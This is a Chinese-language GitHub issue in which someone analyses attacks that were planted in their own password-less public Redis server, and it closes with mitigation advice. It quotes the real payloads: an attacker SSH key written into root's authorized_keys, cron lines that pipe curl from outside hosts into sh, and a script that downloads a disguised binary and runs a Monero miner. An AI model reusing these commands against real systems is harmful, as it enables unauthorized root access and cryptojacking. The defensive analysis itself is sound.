We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
之前为了方便存一些数据,我在自己 vps 上开了一个公网可以访问的 redis 服务,没有设置密码。今天突然奇想,看了看上面有什么。结果看到了某些不太好的东西。
127.0.0.1:6379> keys * 1) "f17cc4f5e5" 2) "crackit" 3) "7cc4f5e5" 127.0.0.1:6379>
有 3 条数据,2 个乱码名字,先看看正常点的名字crackit:
crackit
127.0.0.1:6379> get crackit "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cGu3SeRUbTfPVGWZw9hRod+HWik+Ca8Mj0Flxwb2iU2MIOTRLyuB29ZwkgB4WpPEWD3NReSIo1cIYhuAKtVNGF6WgxnsAs++lcbkNGFDXPuhRHkPiiz11ipWtk7xUF3rkVGvbaBO4gNFGSmZ8fvJdqquXM/EtEySURswo1bT5uWsE0TU2Bolw0XbeIPe99Uuw9bTOYP3UvCw2abvOWsRmm5mZAl/mosgDq1NQux0XdO6oT9QTk2ID4pbza8AcTqGFE4rQcOxF/YCpPDwd4lRxmSWl8WmbAWRDolJLxQFuIMZt7sg+yvGj7Z6+ils7/qLvcZx6A5E21Ldcg3UXrKp root@niuoh\n\n\n\n" 127.0.0.1:6379>
吖咯,看到了某某人的 ssh public key呢。
ssh public key
这是一种破解 redis 宿主机 ssh 权限的方法:
这样就把攻击者的公钥写到了 /root/.ssh 目录的 authorized_keys 文件,进而获得了 ssh 到 root的权限。有个问题是假如宿主机 root 用户没有 .ssh 目录时,这个方式会失败。(未实验)
.ssh
这个主机名让我查到了人哦。
看看下一个:
127.0.0.1:6379> get f17cc4f5e5 "\n\n*/1 * * * * curl http://104.223.133.27/1 | sh\n\n" 127.0.0.1:6379>
从前面的 */1 * * * * 来看应该是 cron job,这个其实和上面差不多,还是利用了 config set dir|dbfilename 将内容写入到了/var/spool/cron/root文件,这样在定时任务执行时就能做各种shell里能做的事情了。 可惜这个 IP 也不能访问,whois 也查不出个所以然。
*/1 * * * *
cron job
config set dir|dbfilename
/var/spool/cron/root
最后一个
127.0.0.1:6379> get 7cc4f5e5 "\n\n*/1 * * * * curl https://cdn.rawgit.com/hextrip/hextripgo/master/install | sh;\n\n" 127.0.0.1:6379>
这个和上一个是同一个套路,不过这个能直接看到 shellcode 的内容:
shellcode
#!/bin/sh ps -fe|grep syslogdaemon |grep -v grep if [ $? -ne 0 ] then nohup /tmp/syslogdaemon -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 -p x & if [ ! -f /tmp/syslogdaemon ] then curl https://ooo.0o0.ooo/2016/11/27/583a97938c4f9.png|dd of=/tmp/syslogdaemon skip=7664 bs=1;chmod +x /tmp/syslogdaemon nohup /tmp/syslogdaemon -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 -p x & fi else echo "runing....." fi
哎呀,中间那个ooo.0o0.ooo好眼熟啊,好像是 v2ex 上某个绿头像的人的站?这个人煞费心机把 ELF 接到 png 后面也是看得我一脸茫然,这是为了不暴露自己么,orz...
虽然说脚本的内容各不相同,但是利用的漏洞都是同一个。哎,我早早地就已经把 config 命令禁用了...
config
rename-command CONFIG "" rename-command FLUSHALL "" rename-command FLUSHDB "" rename-command EVAL ""
也不知道 redis 还有木有其他不安全的地方=-=,没装 cronie , 不用 /root/.ssh 目录不知道会不会安全点。
The text was updated successfully, but these errors were encountered:
ooo.0o0.ooo 是 我们的 sm.ms 图床的图片外链地址 公开服务 这图片里藏了东西?那我去删了去
Sorry, something went wrong.
就是图片后面连着可执行的东西咯...
No branches or pull requests
之前为了方便存一些数据,我在自己 vps 上开了一个公网可以访问的 redis 服务,没有设置密码。今天突然奇想,看了看上面有什么。结果看到了某些不太好的东西。
有 3 条数据,2 个乱码名字,先看看正常点的名字
crackit
:吖咯,看到了某某人的
ssh public key
呢。这是一种破解 redis 宿主机 ssh 权限的方法:
这样就把攻击者的公钥写到了 /root/.ssh 目录的 authorized_keys 文件,进而获得了 ssh 到 root的权限。有个问题是假如宿主机 root 用户没有
.ssh
目录时,这个方式会失败。(未实验)这个主机名让我查到了人哦。
看看下一个:
从前面的
*/1 * * * *
来看应该是cron job
,这个其实和上面差不多,还是利用了config set dir|dbfilename
将内容写入到了/var/spool/cron/root
文件,这样在定时任务执行时就能做各种shell里能做的事情了。可惜这个 IP 也不能访问,whois 也查不出个所以然。
最后一个
这个和上一个是同一个套路,不过这个能直接看到
shellcode
的内容:哎呀,中间那个ooo.0o0.ooo好眼熟啊,好像是 v2ex 上某个绿头像的人的站?这个人煞费心机把 ELF 接到 png 后面也是看得我一脸茫然,这是为了不暴露自己么,orz...
虽然说脚本的内容各不相同,但是利用的漏洞都是同一个。哎,我早早地就已经把
config
命令禁用了...也不知道 redis 还有木有其他不安全的地方=-=,没装 cronie , 不用 /root/.ssh 目录不知道会不会安全点。
The text was updated successfully, but these errors were encountered: